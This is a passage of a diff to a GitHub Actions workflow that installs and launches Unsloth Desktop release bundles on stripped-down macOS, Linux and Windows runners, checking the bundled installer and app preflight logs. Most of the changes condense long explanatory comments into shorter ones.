GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
mkdir -p dl logs
- # Resolve by both SemVer tag and required asset so historical non-app v... releases
- # cannot be selected accidentally. Drafts are included for pre-publish review.
+ # Match tag and required asset so non-app v... releases cannot be picked.
if [ -z "$REL_TAG" ]; then
releases_json="$RUNNER_TEMP/desktop-releases.json"
if ! gh release list --repo "$REL_REPO" --limit 100 \
@@ -168,20 +138,13 @@ jobs:
echo "resolved release tag: $REL_TAG"
echo "REL_TAG=$REL_TAG" >> "$GITHUB_ENV"
fi
- # Match on the extension, not on a filename fragment. The old '*aarch64.dmg'
- # was the Tauri default bundle name, and the release pipeline moved to its own
- # scheme at desktop-v0.1.512-beta (Unsloth-Desktop-<ver>-MacOS.dmg), which
- # silently turned every run red at this line with "no assets match the file
- # pattern". A release ships exactly one .dmg, and the arm64 assertion below is
- # what actually checks the architecture, so the fragment bought nothing.
+ # Match the extension only: bundle names change, and the arm64 check below asserts the arch.
gh release download "$REL_TAG" --repo "$REL_REPO" \
--pattern '*.dmg' --dir dl
ls -la dl
- name: Strip the developer toolchain
- # `inputs` exists only for workflow_dispatch, so elsewhere strip_toolchain is ''
- # and loose equality coerces '' and false alike, making `!= false` FALSE: automatic
- # runs would keep the toolchain this removes. Gate on the event instead.
+ # `inputs` is empty outside dispatch, and '' != false is FALSE, so gate on the event.
if: ${{ github.event_name != 'workflow_dispatch' || inputs.strip_toolchain }}
run: |
bash .github/scripts/clean-machine-env.sh mask --remove
@@ -194,8 +157,7 @@ jobs:
- name: Mount and install
run: |
DMG="$(ls dl/*.dmg | head -1)"
- # A real download is quarantined, and Gatekeeper treats that differently from a
- # locally built bundle: a genuine failure mode.
+ # Gatekeeper treats a quarantined download differently from a local build.
xattr -w com.apple.quarantine \
"0081;$(printf %x $(date +%s));Safari;" "$DMG" 2>/dev/null || true
hdiutil attach "$DMG" -nobrowse -quiet -mountpoint /Volumes/UnslothCI
@@ -210,9 +172,7 @@ jobs:
APP="$(ls -d /Applications/*Unsloth*.app | head -1)"
BIN="$APP/Contents/MacOS/$(/usr/libexec/PlistBuddy -c 'Print :CFBundleExecutable' "$APP/Contents/Info.plist")"
file "$BIN"
- # `lipo -archs` prints and exits 0 for a thin x86_64 binary and `|| true` swallowed
- # even that, so arch went unasserted. lipo is an xcrun shim, gone once the strip
- # moved CommandLineTools aside; `file` is base system.
+ # lipo is an xcrun shim that disappears with the toolchain strip; `file` is base system.
ARCHS="$(lipo -archs "$BIN" 2>/dev/null || true)"
[ -n "$ARCHS" ] || ARCHS="$(file -b "$BIN")"
echo "architectures: $ARCHS"
@@ -220,13 +180,10 @@ jobs:
*arm64*|*aarch64*) ;;
*) echo "::error::the aarch64 .dmg carries no arm64 binary ($ARCHS)"; exit 1 ;;
esac
- # Report rather than gate: an unnotarised beta is expected to fail assessment, but
- # a user WILL hit this, so it must be visible.
+ # Report, not gate: an unnotarised beta fails assessment, but users will see it.
codesign -dv --verbose=2 "$APP" 2>&1 | head -20 || true
spctl -a -vvv -t install "$APP" 2>&1 | head -5 || \
echo "::warning::Gatekeeper assessment failed -- users see 'cannot be opened' unless notarised"
- # The bundled installer is what failed for users, and `::error::` is only an
- # annotation `echo` exits 0 from, so `|| echo` let a bundle with none pass.
if [ -f "$APP/Contents/Resources/install.sh" ]; then
echo "bundled install.sh present"
else
@@ -239,17 +196,10 @@ jobs:
set -a; [ -f ./clean-machine.env ] && . ./clean-machine.env; set +a
set -o pipefail
APP="$(ls -d /Applications/*Unsloth*.app | head -1)"
- # A headless runner never clicks Install: preflight sets `not_installed` and
- # returns (use-tauri-backend.ts:252-254) while startup-screen.tsx:388-389 waits
- # for the button, so launching alone sits for 90s without running the bundled
- # installer. Invoke it as src-tauri/src/install.rs does: --tauri, stdin closed,
- # no tty. --tauri rejects a custom studio home (install.sh:102-114).
+ # Headless preflight waits for an Install click, so run the bundled installer as install.rs does:
+ # --tauri, stdin closed, no tty. --tauri rejects a custom studio home.
SH="$APP/Contents/Resources/install.sh"
- # Run it from outside the checkout, as the app does: a user launches Unsloth from the
- # desktop, not from a clone of this repository. Released bundles up to v0.1.902 resolve
- # `studio` against the cwd when locating setup.sh (fixed with -I in install.sh), so a
- # run from the checkout installed THIS ref's requirement pins into a released wheel
- # and preflight read studio_deps_missing (#12656 moved pyjwt).
+ # Run outside the checkout like the app: older bundles resolve `studio` against the cwd.
rc=0
(cd "$RUNNER_TEMP" && env -u UNSLOTH_STUDIO_HOME \
bash "$SH" --tauri \
@@ -262,14 +212,11 @@ jobs:
PY="$HOME/.unsloth/studio/unsloth_studio/bin/python"
[ -x "$PY" ] || { echo "::error::bundled installer left no venv at $PY"; exit 1; }
"$PY" -V
- # First launch installs the native runtime stack. All representative wheels
- # must load without uv's developer-only libpython ID patch.
+ # All representative wheels must load without uv's developer-only libpython ID patch.
"$PY" -c "import numpy, safetensors, tokenizers, torch; print('native wheels loaded', numpy.__version__, torch.__version__)"
if [ -f ./clean-machine.env ]; then
- # A successful install alone is insufficient: uv treats install_name_tool
- # failure as a warning, so a broken guard would still exit zero after opening
- # Apple's GUI prompt. The sentinel proves the bundled guard won instead.
+ # uv treats install_name_tool failure as a warning, so the sentinel proves the bundled guard won.
bash .github/scripts/clean-machine-assert.sh absent nodylibtool
fi
leftovers=$(find "${TMPDIR:-/tmp}" -maxdepth 1 -type d \
@@ -284,10 +231,8 @@ jobs:
set -a; [ -f ./clean-machine.env ] && . ./clean-machine.env; set +a
APP="$(ls -d /Applications/*Unsloth*.app | head -1)"
BIN="$APP/Contents/MacOS/$(/usr/libexec/PlistBuddy -c 'Print :CFBundleExecutable' "$APP/Contents/Info.plist")"
- # From outside the checkout, like a desktop launch (see the install step).
(cd "$RUNNER_TEMP" && exec "$BIN") > logs/app-stdout.log 2>&1 &
APP_PID=$!
- # 90s: long enough to clear preflight and start the bundled installer.
for i in $(seq 1 90); do
kill -0 "$APP_PID" 2>/dev/null || break
sleep 1
@@ -296,11 +241,7 @@ jobs:
echo "app still running after 90s (pid $APP_PID)"
kill -TERM "$APP_PID" 2>/dev/null || true
else
- # `|| rc=$?`, not a bare `wait`: the step runs under `bash -e`, so a
- # non-zero `wait` aborted the step right here and the two diagnostic lines
- # below never printed. The failure showed up as a bare "Process completed
- # with exit code 1" with no annotation and no app output -- which is exactly
- # the information this branch exists to produce.
+ # `|| rc=$?`: under `bash -e` a bare failing `wait` aborts before the diagnostics print.
rc=0
wait "$APP_PID" 2>/dev/null || rc=$?
echo "::error::desktop app exited early with rc=$rc"
@@ -316,34 +257,17 @@ jobs:
echo "=== $f ==="
cp "$f" logs/ 2>/dev/null || true
tail -60 "$f"
- # The two fields the bug report turned on.
- # "Managed preflight" is not decoration. The disposition is the symptom;
- # the reason is the diagnosis, and it is logged on a separate line that
- # `tail -60` above scrolls away the moment the backend starts chattering.
- # On 2026-08-19 this went red on all four platforms and printed nothing
- # but "saw: ManagedStale"; the reason that actually explained it,
- # studio_install_requirements_changed, had to be recovered by hand from
- # the uploaded artifact.
+ # The preflight reason is on a separate line that tail would scroll away.
grep -E "disposition=|can_auto_repair=|Managed preflight|Xcode Command Line|ModuleNotFoundError" "$f" || true
found=1
if grep -qE "desktop_preflight completed disposition=" "$f"; then disposition=1; fi
dispositions="${dispositions:-} $(grep -oE 'desktop_preflight completed disposition=[A-Za-z]+' "$f" | sed 's/.*disposition=//' | tr '\n' ' ')"
done
- # Everything above is `|| true`, so without these lines the step could not
- # fail while the header sells the disposition as an acceptance criterion.
- # setup_logging (src-tauri/src/main.rs:50-67) opens tauri.log unconditionally at
- # process start, so no log means the binary never got that far, and a process
- # that hangs before preflight must not pass.
+ # tauri.log opens at process start, so no log means the binary never got that far.
[ "${found:-0}" = "1" ] || { echo "::error::the app wrote no tauri.log; it never reached setup_logging"; exit 1; }
[ "${disposition:-0}" = "1" ] || { echo "::error::tauri.log records no desktop_preflight disposition; the app never completed preflight"; exit 1; }
- # A recorded disposition is not enough. A post-#7547 bundle can install a
- # working venv and still have preflight regress to NotInstalled, and the app
- # then sits happily on the Install screen: alive, log written, disposition
- # present, nothing built recognised. Windows has always required a READY
- # disposition; the reason given for keeping that Windows-only was the install
- # root, and the source says otherwise -- preflight/managed.rs env_removes
- # UNSLOTH_STUDIO_HOME and STUDIO_HOME on every platform, not under a
- # cfg(windows), so all three read the same legacy root.
+ # A disposition alone is not enough: preflight can regress to NotInstalled on a working venv.
+ # Every platform requires READY, since preflight reads the same legacy root on all three.
echo "dispositions recorded: ${dispositions:-<none>}"
case "${dispositions:-}" in
*ManagedReady*|*OwnedReady*|*AttachedReady*) ;;
@@ -353,9 +277,7 @@ jobs:
- name: Restore the runner
if: always()
- # `|| true` swallowed everything, a genuinely broken restore included. The file
- # exists only once the strip ran and an earlier step can fail first, so skip
- # explicitly when it is absent and let a real failure surface.
+ # The file exists only after the strip ran; skip explicitly when absent so real failures surface.
run: |
if [ -f .clean-machine/restore.sh ]; then
bash .clean-machine/restore.sh
@@ -430,12 +352,8 @@ jobs:
ls -la dl
- name: Strip the developer toolchain
- # Same gate as macOS: without it the Linux rows ignored strip_toolchain and ran the
- # bundled installer with the runner's git, gcc, cmake and make in /usr/bin.
- # BEFORE the bundle install, as macOS and Windows do: dpkg runs the package's own
- # maintainer scripts, so installing first let them see the image's toolchain. That
- # install needs no masked tool -- clean-machine-env.sh moves aside only $TOOLS, and
- # the current bundle ships a postrm and no install-time script.
+ # Same strip gate as macOS, and before the package install so dpkg maintainer scripts see no
+ # toolchain.
if: ${{ steps.download.outputs.unreleased != 'true' && (github.event_name != 'workflow_dispatch' || inputs.strip_toolchain) }}
run: |
bash .github/scripts/clean-machine-env.sh mask --remove
@@ -444,37 +362,23 @@ jobs:
- name: Install with NO dev tooling, only runtime libs
if: steps.download.outputs.unreleased != 'true'
- # The apt preamble below is bounded by the shared helper; the `.deb` install
- # after it deliberately is not, because whether that package resolves its own
- # dependencies is the question this job asks. A step budget bounds it anyway,
- # so a stall there names this step instead of cancelling the job silently.
+ # The .deb install is deliberately unbounded by the helper; the step budget still bounds it.
timeout-minutes: 25
run: |
- # Deliberately no build-essential/cmake/git: a user installing a .deb has none.
- # Xvfb and WebKit are runtime requirements and apt pulls the .deb's declared
- # deps, so a wrong dependency list fails here.
+ # No build-essential/cmake/git: a .deb user has none; apt pulls the declared deps.
RETRY_ATTEMPTS=2 RETRY_ATTEMPT_TIMEOUT=360 \
bash .github/scripts/retry-with-apt-lock.sh sudo sh -c \
'apt-get install -y -qq --no-install-recommends xvfb || { apt-get update -qq && apt-get install -y -qq --no-install-recommends xvfb; }'
if [ "${{ matrix.kind }}" = "deb" ]; then
- # Refresh the index before blaming the package. The image ships apt lists from
- # whenever it was baked, so once Ubuntu rotates a point release the pool 404s the
- # exact versions those lists name -- this job died on bubblewrap 0.6.1-1ubuntu0.1
- # and gst-plugins-good 1.20.3-0ubuntu1.7 under a message accusing the .deb of a
- # wrong dependency list. Same update-then-retry the xvfb line above already uses,
- # and it weakens nothing: apt still has to resolve and install every declared
- # dependency, so a .deb naming a package that does not exist still fails here.
+ # Refresh the index first: the image's baked apt lists 404 once Ubuntu rotates a point release.
apt_log="$RUNNER_TEMP/deb-install.log"
- # Redirected, not piped into tee: this step runs under `bash -e` without
- # pipefail, so `apt-get ... | tee` would report tee's status and swallow every
- # failure this branch exists to catch.
+ # Redirect, not tee: without pipefail a pipe would report tee's status.
if ! sudo apt-get install -y ./dl/*.deb > "$apt_log" 2>&1; then
cat "$apt_log"
sudo apt-get update -qq
if ! sudo apt-get install -y ./dl/*.deb > "$apt_log" 2>&1; then
cat "$apt_log"
- # Name the failure that actually happened. A fetch error is the mirror's, and
- # reporting it as a packaging defect sent two days of this job at the bundle.
+ # A fetch error is the mirror's fault, not a packaging defect.
if grep -qE "Failed to fetch|404 Not Found" "$apt_log"; then
echo "::error::apt could not fetch a dependency from the mirror even after apt-get update; this is the runner's package mirror, not the .deb's dependency list"
else
@@ -485,17 +389,14 @@ jobs:
fi
cat "$apt_log"
BIN="$(dpkg -L "$(dpkg-deb -f dl/*.deb Package)" | grep -E '/usr/bin/' | head -1)"
- # In-app .deb updates run the installed binary through a polkit action, so the
- # package has to carry the action file. tauri ships it via bundle.linux.deb.files,
- # a mapping nothing else validates: drop the entry and updates fall back to the
- # release page silently, with no failing test anywhere.
+ # In-app .deb updates need the polkit action shipped via bundle.linux.deb.files;
+ # nothing else checks it.
POLICY=/usr/share/polkit-1/actions/ai.unsloth.studio.update.policy
if ! dpkg -L "$(dpkg-deb -f dl/*.deb Package)" | grep -qx "$POLICY"; then
echo "::error::the .deb no longer ships $POLICY, so in-app Debian updates cannot authenticate"
exit 1
fi
- # auth_admin on all three implicit cases is what makes the update prompt, rather
- # than either silently elevating or refusing outright.
+ # auth_admin on all three implicit cases makes the update prompt instead of elevating or refusing.
if [ "$(stat -c '%U:%G %a' "$POLICY")" != "root:root 644" ]; then
echo "::error::$POLICY has the wrong owner or mode: $(stat -c '%U:%G %a' "$POLICY")"
exit 1
@@ -515,18 +416,13 @@ jobs:
echo "BIN=$BIN" >> "$GITHUB_ENV"
echo "binary: $BIN"
- # `apt-get install ./dl/*.deb` pulls the bundle's DECLARED dependencies, so a release
- # that adds git, cmake or a compiler to that list puts one back in /usr/bin after the
- # strip. Re-run `absent` here, before the bundled installer.
+ # The .deb's declared deps could put a toolchain back in /usr/bin after the strip.
- name: Re-assert the toolchain is still absent after the package install
if: ${{ steps.download.outputs.unreleased != 'true' && (github.event_name != 'workflow_dispatch' || inputs.strip_toolchain) }}
run: |
set -a; . ./clean-machine.env; set +a
bash .github/scripts/clean-machine-assert.sh absent
- # `absent` alone cannot see a NEW toolchain dependency: mask --remove renames the
- # binaries but leaves their packages installed, so apt treats git or cmake in the
- # .deb's Depends as already satisfied and never puts the file back. Read the
- # declared list, which is the thing a release would actually change.
+ # `absent` cannot see a new toolchain Depends (masked packages stay installed), so read the list.
if [ "${{ matrix.kind }}" = "deb" ]; then
deps="$(dpkg-deb -f dl/*.deb Depends)"
echo "declared Depends: $deps"
@@ -541,32 +437,20 @@ jobs:
run: |
set -a; [ -f ./clean-machine.env ] && . ./clean-machine.env; set +a
set -o pipefail
- # The launch step below only proves the process stayed alive: on a fresh home
- # preflight reports not_installed and the app waits for a click on the install
- # screen (use-tauri-backend.ts:252-254, startup-screen.tsx:388-389), so a bundle
- # with a missing or broken install.sh passed both Linux rows. tauri.linux.conf.json
- # ships it as a bundle resource, so find it there and run it as install.rs does.
+ # The launch step alone passes with a broken install.sh (preflight waits for a click), so run it.
if [ "${{ matrix.kind }}" = "deb" ]; then
- # `|| true`: grep exits 1 when it selects nothing, and under the `set -o pipefail`
- # above plus this step's `bash -e` that aborts the assignment outright, swallowing
- # the explicit annotation below in favour of a bare exit 1.
+ # `|| true`: grep selecting nothing would abort under pipefail before the annotation below.
SH="$(dpkg -L "$(dpkg-deb -f dl/*.deb Package)" | grep -E '/install\.sh$' | head -1 || true)"
else
- # ls returns a bare filename here, and a command word with no slash resolves
- # through PATH, not the cwd, so this needs the ./ prefix.
+ # A command word without a slash resolves through PATH, so this needs ./
(cd dl && "./$(ls *.AppImage | head -1)" --appimage-extract >/dev/null)
SH="$(find dl/squashfs-root -name install.sh -type f | head -1)"
fi
[ -n "$SH" ] && [ -f "$SH" ] || { echo "::error::the bundle ships no install.sh resource"; exit 1; }
echo "bundled installer: $SH"
- # --tauri rejects a custom studio home (install.sh:102-114), so drop the
- # workspace-scoped override; close stdin as install.rs does.
+ # --tauri rejects a custom studio home; close stdin as install.rs does.
SH="$(cd "$(dirname "$SH")" && pwd)/$(basename "$SH")"
- # Run it from outside the checkout, as the app does: a user launches Unsloth from the
- # desktop, not from a clone of this repository. Released bundles up to v0.1.902 resolve
- # `studio` against the cwd when locating setup.sh (fixed with -I in install.sh), so a
- # run from the checkout installed THIS ref's requirement pins into a released wheel
- # and preflight read studio_deps_missing (#12656 moved pyjwt).
+ # Run outside the checkout like the app: older bundles resolve `studio` against the cwd.
rc=0
(cd "$RUNNER_TEMP" && env -u UNSLOTH_STUDIO_HOME \
bash "$SH" --tauri < /dev/null 2>&1) | tee logs/bundled-install.log || rc=$?
@@ -584,20 +468,12 @@ jobs:
- name: Launch under Xvfb and prove it stays up
if: steps.download.outputs.unreleased != 'true'
env:
- # Without this a fatal X11 error is completely invisible. GTK3 registers
- # gdk_x_io_error() as its XSetIOErrorHandler, and that handler reports with
- # g_debug() and then calls _exit(1) (gtk-3-24 gdk/x11/gdkmain-x11.c; the comment
- # there says g_warning() was avoided because it could be redirected). g_debug()
- # output is dropped unless G_MESSAGES_DEBUG names the domain, so the app exits 1
- # having printed nothing at all and the step reports a bare rc=1 with no cause.
- # That is exactly what #8062 looked like until this variable was set, at which
- # point the next line read "Fatal IO error 11 ... on X server".
+ # GTK3's X IO error handler reports via g_debug() and then _exit(1); without this a fatal X11
+ # error exits 1 with no output at all.
G_MESSAGES_DEBUG: all
run: |
set -a; [ -f ./clean-machine.env ] && . ./clean-machine.env; set +a
- # The one platform where a hosted runner can give the app a real display, so this
- # is the strongest "does the UI come up" check without self-hosted hardware.
- # From outside the checkout, like a desktop launch (see the install step).
+ # The only platform where a hosted runner gives the app a real display. Launch outside the checkout.
BIN="$(cd "$(dirname "$BIN")" && pwd)/$(basename "$BIN")"
(cd "$RUNNER_TEMP" && exec xvfb-run -a --server-args="-screen 0 1440x900x24" \
"$BIN") > logs/app-stdout.log 2>&1 &
@@ -610,11 +486,7 @@ jobs:
echo "app still running after 90s"
kill -TERM "$APP_PID" 2>/dev/null || true
else
- # `|| rc=$?`, not a bare `wait`: the step runs under `bash -e`, so a
- # non-zero `wait` aborted the step right here and the two diagnostic lines
- # below never printed. The failure showed up as a bare "Process completed
- # with exit code 1" with no annotation and no app output -- which is exactly
- # the information this branch exists to produce.
+ # `|| rc=$?`: under `bash -e` a bare failing `wait` aborts before the diagnostics print.
rc=0
wait "$APP_PID" 2>/dev/null || rc=$?
echo "::error::desktop app exited early with rc=$rc"
@@ -628,30 +500,16 @@ jobs:
for f in "$UNSLOTH_STUDIO_HOME/tauri.log" "$HOME/.unsloth/studio/tauri.log"; do
[ -f "$f" ] || continue
echo "=== $f ==="; cp "$f" logs/ 2>/dev/null || true; tail -60 "$f"
- # "Managed preflight" is not decoration. The disposition is the symptom;
- # the reason is the diagnosis, and it is logged on a separate line that
- # `tail -60` above scrolls away the moment the backend starts chattering.
- # On 2026-08-19 this went red on all four platforms and printed nothing
- # but "saw: ManagedStale"; the reason that actually explained it,
- # studio_install_requirements_changed, had to be recovered by hand from
- # the uploaded artifact.
+ # The preflight reason is on a separate line that tail would scroll away.
grep -E "disposition=|can_auto_repair=|Managed preflight|ModuleNotFoundError" "$f" || true
found=1
if grep -qE "desktop_preflight completed disposition=" "$f"; then disposition=1; fi
dispositions="${dispositions:-} $(grep -oE 'desktop_preflight completed disposition=[A-Za-z]+' "$f" | sed 's/.*disposition=//' | tr '\n' ' ')"
done
- # Same criterion the macOS rows enforce, same reason: everything above is
- # `|| true` and the loop skips a missing log, so the step could not fail.
+ # Same criterion as macOS: everything above is `|| true`, so this is what can fail.
[ "${found:-0}" = "1" ] || { echo "::error::the app wrote no tauri.log; it never reached setup_logging"; exit 1; }
[ "${disposition:-0}" = "1" ] || { echo "::error::tauri.log records no desktop_preflight disposition; the app never completed preflight"; exit 1; }
- # A recorded disposition is not enough. A post-#7547 bundle can install a
- # working venv and still have preflight regress to NotInstalled, and the app
- # then sits happily on the Install screen: alive, log written, disposition
- # present, nothing built recognised. Windows has always required a READY
- # disposition; the reason given for keeping that Windows-only was the install
- # root, and the source says otherwise -- preflight/managed.rs env_removes
- # UNSLOTH_STUDIO_HOME and STUDIO_HOME on every platform, not under a
- # cfg(windows), so all three read the same legacy root.
+ # A disposition alone is not enough: preflight can regress to NotInstalled on a working venv.
echo "dispositions recorded: ${dispositions:-<none>}"
case "${dispositions:-}" in
*ManagedReady*|*OwnedReady*|*AttachedReady*) ;;
@@ -913,7 +771,6 @@ jobs:
run: |
set -euo pipefail
studio/src-tauri/linux/verify-complete-appimage.sh "$APPIMAGE_PATH"
- # Check bundled plugin loadability on each target host.
python3 tests/studio/appimage_media_pipeline_probe.py
python3 tests/studio/appimage_portability_smoke.py
@@ -1054,10 +911,7 @@ jobs:
echo "resolved release tag: $REL_TAG"
echo "REL_TAG=$REL_TAG" >> "$GITHUB_ENV"
fi
- # Extension, not fragment: see the macOS leg. '*setup.exe' was the Tauri NSIS
- # default. A release used to ship exactly one .exe; it now ships two, an x64
- # Unsloth-Desktop-Windows.exe beside an arm64 Unsloth-Desktop-Windows-ARM64.exe,
- # so the install step below picks by architecture instead of taking the first.
+ # Extension, not fragment: releases ship x64 and arm64 .exe files, picked by arch below.
gh release download "$REL_TAG" --repo "$REL_REPO" --pattern '*.exe' --dir dl
ls -la dl
@@ -1066,20 +920,13 @@ jobs:
if: ${{ github.event_name != 'workflow_dispatch' || inputs.strip_toolchain }}
shell: pwsh
run: |
- # Strawberry: windows-latest ships a MinGW toolchain (cmake, gcc) under
- # C:\Strawberry\c\bin, which names none of the other fragments -- the verify
- # step below caught it leaking. Same list the installer workflow scrubs.
+ # Strawberry: windows-latest ships MinGW cmake/gcc under C:\Strawberry.
+ # Same list the installer workflow scrubs.
$drop = @('hostedtoolcache\windows\Python', 'WindowsApps', '\Git\', 'CMake',
'Microsoft Visual Studio', 'BuildTools', 'LLVM', 'MSYS', 'mingw',
'Strawberry')
- # winget is an app-execution alias under ...\Local\Microsoft\WindowsApps, so the
- # WindowsApps fragment -- there to drop the Store's python.exe alias -- takes the
- # OS package manager with it. winget is not developer tooling: every consumer
- # machine has it, and the bundled install.ps1 reaches for it for the git
- # studio/setup.ps1:1657-1669 still gates on. Without it this lane only re-runs, as
- # a hard failure, the no-winget fallback clean-machine-install-ci.yml already pins
- # on its winget=masked row. So resolve winget first and shim it back, as that
- # workflow does.
+ # The WindowsApps drop also removes winget, which every consumer machine has and install.ps1
+ # uses for git, so resolve it first and shim it back as clean-machine-install-ci.yml does.
$wingetCmd = Get-Command winget -ErrorAction SilentlyContinue
if (-not $wingetCmd) {
Write-Host '::error::winget was not on PATH before the strip; this image ships it and the bundled installer needs it'
@@ -1095,8 +942,7 @@ jobs:
}
"PATH=$shim;$((& $scrub ($env:PATH -split ';')) -join ';')" |
Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
- # Off disk, not just off PATH: py.exe lives in C:\Windows (which must stay) and uv
- # does its own discovery, so both reach the toolcache whatever PATH says.
+ # Off disk, not just off PATH: py.exe and uv find the toolcache on their own.
foreach ($tc in @("$env:AGENT_TOOLSDIRECTORY\Python", 'C:\hostedtoolcache\windows\Python')) {
if ($tc -and (Test-Path $tc)) {
try { Rename-Item -LiteralPath $tc -NewName 'Python.masked' -ErrorAction Stop
@@ -1104,12 +950,8 @@ jobs:
catch { Write-Host "::error::could not mask $tc ($($_.Exception.Message)); the job would not be clean"; exit 1 }
}
}
- # The bundled install.ps1 calls Refresh-SessionPath (318-337), which MERGES the
- # Machine and User registry PATHs back into $env:Path, so a process-only scrub
- # lasts until the first refresh and Git/CMake/VS/LLVM return from the registry.
- # The runner is ephemeral, so rewrite the registry copies too. (The merge keeps
- # what the process had, which is why the winget shim survives.) Expand first:
- # SetEnvironmentVariable rewrites REG_EXPAND_SZ as REG_SZ (dotnet/runtime#1442).
+ # install.ps1's Refresh-SessionPath merges registry PATHs back in, so scrub those too. Expand
+ # first: SetEnvironmentVariable rewrites REG_EXPAND_SZ as REG_SZ.
foreach ($scope in 'Machine','User') {
$raw = [System.Environment]::GetEnvironmentVariable('Path', $scope)
if ([string]::IsNullOrWhiteSpace($raw)) { continue }
@@ -1127,10 +969,7 @@ jobs:
exit 0
- name: Verify the strip took effect
- # PATH written to $GITHUB_ENV applies only to LATER steps, so the scrub can only be
- # checked from here. The drop list is heuristic fragment matching: if an image moves
- # a tool outside those fragments the bundled install.ps1 reuses the survivor and
- # this job still calls itself clean. Same assertion the installer workflow runs.
+ # $GITHUB_ENV PATH applies only to later steps, so verify the heuristic scrub here.
if: ${{ github.event_name != 'workflow_dispatch' || inputs.strip_toolchain }}
shell: pwsh
run: |
@@ -1140,10 +979,7 @@ jobs:
Write-Host ("{0,-8} {1}" -f $t, $(if ($f) { $f.Source } else { 'ABSENT' }))
if ($f -and $t -ne 'py') { $leaked += "$t -> $($f.Source)" }
}
- # `py` lives in C:\Windows and stays; only an interpreter it can still START is a
- # leak, because Find-CompatiblePython (install.ps1:1130-1153) probes `py` first.
- # `py -0p` is the launcher's REGISTRY view, which still names the renamed paths,
- # so a start attempt is the only real evidence.
+ # install.ps1 probes `py` first, and `py -0p` still lists renamed paths, so only a start proves a leak.
if (Get-Command py -ErrorAction SilentlyContinue) {
foreach ($v in '-3.11', '-3.12', '-3.13') {
$out = & py $v -c "import sys; print(sys.executable)" 2>&1
@@ -1151,16 +987,11 @@ jobs:
Write-Host ("py {0} -> exit {1}: {2}" -f $v, $rc, (($out | Out-String).Trim() -replace '\r?\n', ' / '))
if ($rc -eq 0) { $leaked += "py $v -> $out" }
}
- # A failing probe is the outcome we want, but the runner appends
- # `exit $LASTEXITCODE` to every pwsh step (actions/runner#351), so a clean
- # machine would exit 1.
+ # The runner appends `exit $LASTEXITCODE` to pwsh steps, so a wanted failing probe would exit 1.
$global:LASTEXITCODE = 0
}
- # The shim is the only reason winget resolves after the WindowsApps drop, and it
- # survives the installer's refreshes only because Refresh-SessionPath
- # (install.ps1:318-337) and setup.ps1's Refresh-Environment merge rather than
- # replace $env:Path. Assert it, or this lane silently degrades into the no-winget
- # leg the installer workflow already pins.
+ # Assert the winget shim survived the installer's PATH refreshes, or this lane silently becomes
+ # the no-winget leg.
$winget = Get-Command winget -ErrorAction SilentlyContinue
Write-Host ("winget {0}" -f $(if ($winget) { $winget.Source } else { 'ABSENT' }))
if (-not $winget) {
@@ -1176,27 +1007,19 @@ jobs:
- name: Silent install
shell: pwsh
run: |
- # By architecture, not by position. A release ships an x64 installer beside an
- # arm64 one, and `Select-Object -First 1` over the directory took the arm64 build
- # on this x64 runner -- '-' sorts before '.', so Unsloth-Desktop-Windows-ARM64.exe
- # precedes Unsloth-Desktop-Windows.exe. It installed without complaint and the app
- # then refused to start with "This version of %1 is not compatible with the version
- # of Windows you're running", reported as the app exiting early.
+ # By architecture, not position: '-' sorts before '.', so -First 1 would take the ARM64 installer.
$all = @(Get-ChildItem dl/*.exe)
$arm = @($all | Where-Object { $_.Name -match '(?i)-arm64\.exe$' })
$wanted = if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') { $arm }
else { @($all | Where-Object { $_.Name -notmatch '(?i)-arm64\.exe$' }) }
- # Named, not silently narrowed: a release that stops shipping this runner's
- # architecture, or starts shipping two of them, is a packaging change this job
- # should report rather than guess its way through.
+ # A change in shipped architectures is a packaging change to report, not to guess through.
if ($wanted.Count -ne 1) {
Write-Host "::error::expected exactly one $env:PROCESSOR_ARCHITECTURE installer in the release, found $($wanted.Count) (assets: $($all.Name -join ', '))"
exit 1
}
$exe = $wanted[0].FullName
Write-Host "installer for $($env:PROCESSOR_ARCHITECTURE): $exe"
- # /S is the NSIS silent switch: a user double-clicks, but an installer that cannot
- # run unattended cannot be scripted or MDM-deployed either.
+ # /S is the NSIS silent switch.
$p = Start-Process -FilePath $exe -ArgumentList '/S' -Wait -PassThru
Write-Host "installer exit: $($p.ExitCode)"
if ($p.ExitCode -ne 0) { Write-Host "::error::silent install failed"; exit 1 }
@@ -1210,11 +1033,8 @@ jobs:
- name: Run the bundled installer, the path first launch takes
shell: pwsh
run: |
- # The launch step below only proves the process stayed alive: on a fresh profile
- # the app waits for a click on Install (use-tauri-backend.ts:252-254,
- # startup-screen.tsx:388-389), so this job passed on a bundle with a missing or
- # broken install.ps1. tauri.conf.json:56-59 ships it as a bundle resource, so find
- # it where NSIS put it and invoke it as install.rs:326-341 does.
+ # The launch alone passes with a broken install.ps1 (the app waits for a click), so run it
+ # from where NSIS put it, as install.rs does.
$root = Split-Path -Parent $env:APP_EXE
$ps1 = Get-ChildItem -Path $root -Recurse -Filter 'install.ps1' -ErrorAction SilentlyContinue |
Select-Object -First 1
@@ -1223,8 +1043,7 @@ jobs:
exit 1
}
Write-Host "bundled installer: $($ps1.FullName)"
- # --tauri rejects a custom studio home (install.ps1:189-215), so drop the
- # override as install.rs does (354-357).
+ # --tauri rejects a custom studio home, so drop the override as install.rs does.
Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue
& powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass `
-File $ps1.FullName --tauri *>&1 | Tee-Object -FilePath logs/bundled-install.log
@@ -1234,15 +1053,13 @@ jobs:
Write-Host "::error::bundled installer exited $rc"
exit $rc
}
- # The exit code alone is not enough: this is the venv the app boots from.
$py = Join-Path $env:USERPROFILE '.unsloth\studio\unsloth_studio\Scripts\python.exe'
if (-not (Test-Path $py)) {
Write-Host "::error::bundled installer left no venv at $py"
exit 1
}
& $py -V
- # install.rs passes only --tauri, so torch is part of first launch; a venv that
- # cannot import it is the unbootable environment from the report.
+ # install.rs passes only --tauri, so torch must import from the app's venv.
& $py -c "import torch; print('torch', torch.__version__)"
if ($LASTEXITCODE -ne 0) {
Write-Host '::error::the bundled install produced a venv with no working torch'
@@ -1275,8 +1092,6 @@ jobs:
Write-Host "=== $f ==="
Copy-Item $f logs/ -ErrorAction SilentlyContinue
Get-Content $f -Tail 60
- # See the Linux job: the reason line is what explains a disposition,
- # and Get-Content -Tail 60 above scrolls it away.
